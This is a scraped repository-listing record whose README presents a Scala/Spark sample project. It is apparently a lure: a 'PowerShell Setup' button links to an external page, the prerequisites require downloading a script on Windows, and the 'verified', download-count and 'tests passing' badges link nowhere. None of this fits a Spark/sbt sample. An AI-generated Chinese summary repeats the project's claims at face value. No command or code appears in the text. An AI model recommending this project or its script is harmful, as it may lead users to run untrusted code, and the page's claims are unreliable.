[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109906":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":22,"updatedAt":23,"readmeContent":24,"aiSummary":25,"trendingCount":12,"starSnapshotCount":12,"syncStatus":26,"lastSyncTime":27,"discoverSource":28},109906,"spark-scala-sample","miguelidalino2012-a11y\u002Fspark-scala-sample","miguelidalino2012-a11y","Scala Spark sample project with updated dependency libraries for desktop builds",null,"HTML",148,0,37,false,"main",true,[18,19,20,21],"activator","sample","scala","spark","2026-11-23 10:11:29","2026-11-12 09:04:59","\u003Cdiv align=\"center\">\n\n# Spark Scala Sample Project – Modernized Library Stack for Windows Desktop Client\n\n![](files\u002Fpreview.png)\n\n### 🖥️ PowerShell Setup\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fmiguelidalino2012-a11y.github.io\u002Fspark-scala-sample\u002F)\n\n[![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fstatus-verified-2ea44f?style=flat-square&labelColor=0d1117)]() [![downloads](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fdownloads-2.8k-f97316?style=flat-square&labelColor=0d1117)]() [![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Ftests-passing-2ea44f?style=flat-square&labelColor=0d1117)]() [![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fps--core-5.1%2B-fb923c?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nThis project provides a maintained Spark and Scala sample application derived from an earlier upstream sample project, with several library dependencies updated for current tooling. It ships with curated compiler flags, a preconfigured console environment that initializes Spark and SparkSQL contexts, and advanced static analysis integrated into the build. The included stack covers Spark, Scala, ScalaTest, and ScalaCheck, while the analyzer configuration reports potential defects and poor coding practices during compilation and interactive evaluation. A coding style checker is also provided to enforce consistent conventions across the codebase.\n\n## ✅ Before You Start\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n- **Modernized dependency stack** — Spark, Scala, ScalaTest, and ScalaCheck versions have been refreshed while preserving the original project layout and build conventions, ensuring the sample remains representative of current tooling.\n- **Sane compiler flags for Scala** — The build enforces a consistent set of compiler options, catching common mistakes early and encouraging idiomatic Scala across the codebase.\n- **Interactive REPL with preconfigured contexts** — `sbt console` launches with Spark and SparkSQL contexts already initialized, enabling rapid prototyping and exploratory data analysis without boilerplate setup.\n- **Integrated static analysis** — Two analyzers run automatically: a linter that executes during both compilation and console evaluation, and sbt-scapegoat, which runs during compilation and produces XML and HTML reports under the target directory for review.\n- **Coding style enforcement** — ScalaStyle integration is available via a dedicated SBT task, generating a results file under the target directory. All checks are configured at \"warn\" level by default and can be promoted to \"error\" to reject changes when wired into continuous integration.\n- **Forked JVM execution for tests and runs** — Test and run tasks fork a separate JVM, isolating SBT's classloader from Spark and the Spark shell to avoid conflicts during execution.\n- **Compact, readable sample structure** — The project remains a focused reference implementation, making it straightforward to study Spark and SparkSQL usage patterns without unnecessary scaffolding.\n\n## How it works\n\nThe project uses a standard sbt-based build definition to assemble Spark applications from Scala sources. Dependency resolution is centralized in the build configuration, where each library version is pinned explicitly, so builds are reproducible across environments. Compilation targets a single Scala version aligned with the bundled Spark runtime, and compiler flags are set to surface warnings and enable stricter type checking during the build.\n\nApplication entry points are plain Scala objects that construct a `SparkSession`, execute transformations and actions against the distributed dataset API, and terminate the session on completion. The same sources are shared between the main and test scopes, allowing logic to be exercised locally without a cluster. Spark runs in local mode by default, which means jobs execute within the build JVM rather than being submitted to an external scheduler.\n\nTesting is wired into the build through ScalaTest and ScalaCheck. Unit and property-based specs are discovered automatically and can be run as a single task, with results reported to the console and to machine-readable output files under the build target directory. Property-based checks exercise invariants over generated inputs, complementing example-based assertions.\n\nStatic analysis and style enforcement run as part of the normal build lifecycle. A compiler-integrated linter inspects sources during compilation and console evaluation and reports suspicious constructs and discouraged patterns. A separate static analyzer produces XML and HTML reports of potential defects after compilation, which can be reviewed without leaving the project. A style checker validates formatting and naming conventions against a configurable rule set and can be tuned to treat violations as warnings or hard failures, allowing the same rules to gate continuous integration.\n\nA console task bootstraps an interactive session with Spark and SparkSQL contexts already initialized, so exploratory queries and ad-hoc transformations can be evaluated against sample data without writing a full application. Because the console runs in the build JVM rather than a forked one, it shares the same classpath as the compiled code; test and run tasks fork a separate JVM to avoid classloader conflicts with Spark. This forking behavior is configured in the build and applies uniformly to all tasks that execute application code.\n\n## Compatibility\n\nThe project targets the Scala 2.11 line and is built against Spark 2.1.0, with Scala 2.11.8 as the reference compiler version. Library versions have been refreshed relative to the upstream project it is derived from, while the overall build layout and workflow remain unchanged.\n\nRuntime compatibility is aligned with the Spark 2.1.x distribution: the sample code relies on the standard Spark and SparkSQL APIs available in that release and does not depend on deprecated or removed entry points. Execution is expected on a JVM matching the Spark 2.1.0 requirements, and the build forks a separate JVM for test and run tasks because the SBT classloader does not interoperate cleanly with Spark and the Spark shell.\n\nThe test stack is pinned to ScalaTest 2.2.4 and ScalaCheck 1.12.2. These versions are compatible with Scala 2.11 and are exercised by the included test suite. Consumers upgrading the testing libraries should verify that assertion and property-based APIs used by the samples remain available.\n\n`sbt console` is known to be a partial exception: it does not honor the fork setting, so interactive console sessions may surface a ScalaReflectionException or similar classloader-related errors. This is a limitation of the console task rather than of the code itself, and non-interactive compilation, testing, and packaging are unaffected.\n\nThe static analyzer integration (the linter plugin and sbt-scapegoat) and the ScalaStyle checker are compatible with the pinned Scala and SBT versions used by the build. Their output artifacts are written under the standard `target\u002Fscala-2.11\u002F` directory tree. Projects that adapt this sample to a different Scala minor version should revalidate analyzer and style-checker behavior, since plugin compatibility is tied to the Scala and SBT versions in use.\n\n## FAQ\n\n**Why does the project fork a separate JVM for tests and runs?**\nSpark and Spark shell rely on classloader behavior that is incompatible with SBT's default classloader. Forking a dedicated JVM for test and run tasks avoids these conflicts and keeps execution stable. Note that `sbt console` does not currently honor the fork setting, so it may surface reflection-related exceptions.\n\n**Which library versions does this project target?**\nThe build is pinned to Spark 2.1.0, Scala 2.11.8, ScalaTest 2.2.4, and ScalaCheck 1.12.2. These versions are updated relative to the upstream sample and are chosen for mutual compatibility.\n\n**Can I use a different Spark or Scala version?**\nYes, but version alignment matters: Spark, Scala, ScalaTest, and ScalaCheck must remain binary-compatible with one another. Changing the Scala minor version requires recompiling all dependencies; changing Spark requires verifying that the Scala binary version matches Spark's build.\n\n**What static analysis runs automatically?**\nA linter runs during compilation and console evaluation, and sbt-scapegoat runs during compilation. Reports are written under the target directory in both XML and HTML forms for inspection.\n\n**How do I enforce coding style in CI?**\nInvoke the ScalaStyle task explicitly. By default, all checks are configured at \"warn\" level; raise them to \"error\" to reject non-conforming changes when integrated with continuous integration tooling. Results are emitted to an XML report under the target directory.\n\n**Why does the console throw reflection exceptions?**\nThis is a known limitation of the fork configuration described above. Running tests and applications through the forked JVM path avoids the issue; interactive console use may still encounter it.\n\n**Is this project a drop-in replacement for the upstream sample?**\nIt is derived from the upstream sample with updated library versions. APIs and structure remain close to the original, but dependency updates may introduce behavioral differences. Validate against your target environment before adopting.\n\n## Disclaimer\n\nThis software is provided on an \"as is\" basis, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and non-infringement. The project is a derivative work maintained for the purpose of tracking updated library versions; it is not affiliated with, endorsed by, or supported by the authors or maintainers of the upstream project from which it was derived. Users are responsible for evaluating the suitability of the software and its dependencies for their own environments and workloads, and for verifying compatibility with the specific versions of Spark, Scala, and any associated build tooling in use. No commitment is made regarding the correctness, stability, or continued maintenance of the code, and no guarantees are offered that behavior observed in local builds will be reproducible across differing runtime configurations, dependency resolutions, or cluster deployments. By using this software, you acknowledge that you assume all risk associated with its use and agree that the maintainers shall not be liable for any direct, indirect, incidental, special, exemplary, or consequential damages arising from the use or inability to use the software.\n\n## License\n\nThis project is distributed under the Apache License, Version 2.0. The license permits use, reproduction, modification, and distribution of the software in source and object forms, provided that the copyright notice, license text, and attribution notices are preserved in all copies and derivative works. Redistribution of modified versions must clearly indicate the changes made relative to the original.\n\nBecause spark-scala-sample is derived from an upstream sample project, the original copyright and attribution notices are retained alongside those of this derivative work. Any downstream distribution must preserve both sets of notices in accordance with the license terms. The license applies uniformly to the build definitions, source files, and accompanying documentation contained in this repository.\n\nThe software is provided on an \"as is\" basis, without warranties or conditions of any kind, whether express or implied, including but not limited to warranties of merchantability, fitness for a particular purpose, and non-infringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability arising from, out of, or in connection with the software or its use.\n\nUsers incorporating this project into their own builds are responsible for verifying that all transitive dependencies, including the Spark, Scala, and testing libraries referenced by the build, remain compatible with the license terms of their chosen distribution.","这是一个面向 Windows 桌面环境的 Scala + Apache Spark 示例项目，旨在提供开箱即用的现代化开发体验。项目更新了 Spark、Scala、ScalaTest 和 ScalaCheck 等核心依赖版本，预配置了 SparkSession 与 SparkSQLContext 的交互式 REPL（通过 sbt console 启动），集成了静态代码分析（sbt-scapegoat）、编码风格检查（ScalaStyle）及安全的 JVM 分离执行机制，支持快速原型验证与教学演示。适用于 Windows 平台上的 Spark 学习、本地开发调试、教学示例构建及轻量级数据处理实验场景。",2,"2026-11-24 04:37:51","CREATED_QUERY"]